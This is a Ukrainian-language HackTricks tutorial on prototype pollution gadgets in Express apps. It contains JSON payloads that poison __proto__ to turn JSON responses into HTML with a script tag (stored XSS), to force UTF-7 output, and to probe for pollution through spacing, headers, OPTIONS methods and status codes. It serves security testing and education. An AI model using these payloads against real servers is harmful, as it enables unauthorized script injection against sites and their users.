Gadgets для забруднення прототипу Express

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Обслуговування XSS-відповідей

Для отримання додаткової інформації перегляньте оригінальне дослідження

Змінити тип вмісту JSON на HTML

В додатку Express, що використовує JSON content type response і відображає JSON:

javascript
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})

У цих випадках XSS зазвичай не можливий з типом вмісту JSON. Однак, з забрудненням прототипу ми можемо заплутати Express, щоб він повертав HTML-відповідь. Ця вразливість залежить від використання додатком res.send(obj) та використання парсера тіла з типом вмісту application/json.

json
{ "__proto__": { "_body": true, "body": "<script>evil()" } }

Шляхом забруднення властивостей body та _body можливо змусити Express віддавати HTML тип контенту та відображати властивість _body, що призводить до збереженого XSS.

Відображення UTF7

Можливо змусити express відображати UTF-7 контент за допомогою:

json
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }

Безпечні техніки сканування

JSON пробіли

Наступний PP додасть атрибутам всередині JSON додатковий пробіл, що не порушить функціональність:

json
{ "__proto__": { "json spaces": " " } }

Тоді відображений JSON виглядатиме так:

json
{"foo":  "bar"} -- Note the extra space

Exposed Headers

Наступний PP гаджет змусить сервер надіслати HTTP заголовок: Access-Control-Expose_headers: foo

json
{ "__proto__": { "exposedHeaders": ["foo"] } }

Вимагає, щоб модуль CORS був встановлений

Метод OPTIONS

З наступним payload можливо сховати метод з відповіді OPTIONS:

javascript
// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Статус

Можливо змінити код статусу, що повертається, використовуючи наступний PP payload:

json
{ "__proto__": { "status": 510 } }

Помилка

Коли ви призначаєте прототипу примітив, наприклад, рядок, це призводить до операції без дії, оскільки прототип повинен бути об'єктом. Якщо ви намагаєтеся призначити об'єкт прототипу самому Object.prototype, це викине виключення. Ми можемо використовувати ці дві поведінки, щоб виявити, чи була успішною забрудненість прототипу:

javascript
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception

Відображене значення

Коли додаток включає об'єкт у свою відповідь, створення атрибута з незвичайною назвою поряд з __proto__ може бути корисним. Зокрема, якщо лише незвичайний атрибут повертається у відповіді, це може вказувати на вразливість додатка:

json
{ "unusualName": "value", "__proto__": "test" }

Більше того, у сценаріях, де використовується бібліотека Lodash, встановлення властивості як через забруднення прототипу (PP), так і безпосередньо в об'єкті пропонує ще один діагностичний підхід. Якщо така властивість відсутня у відповіді, це вказує на те, що Lodash перевіряє наявність властивості в цільовому об'єкті перед злиттям:

javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Різне

Дозволити крапки

Є опція в Express, яка дозволяє вам створювати об'єкти з параметрів рядка запиту.
Ви безумовно можете використовувати це в ланцюгу для експлуатації вразливості забруднення прототипу.

json
{ "__proto__": { "allowDots": true } }

?foo.bar=baz створює об'єкт у Node.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks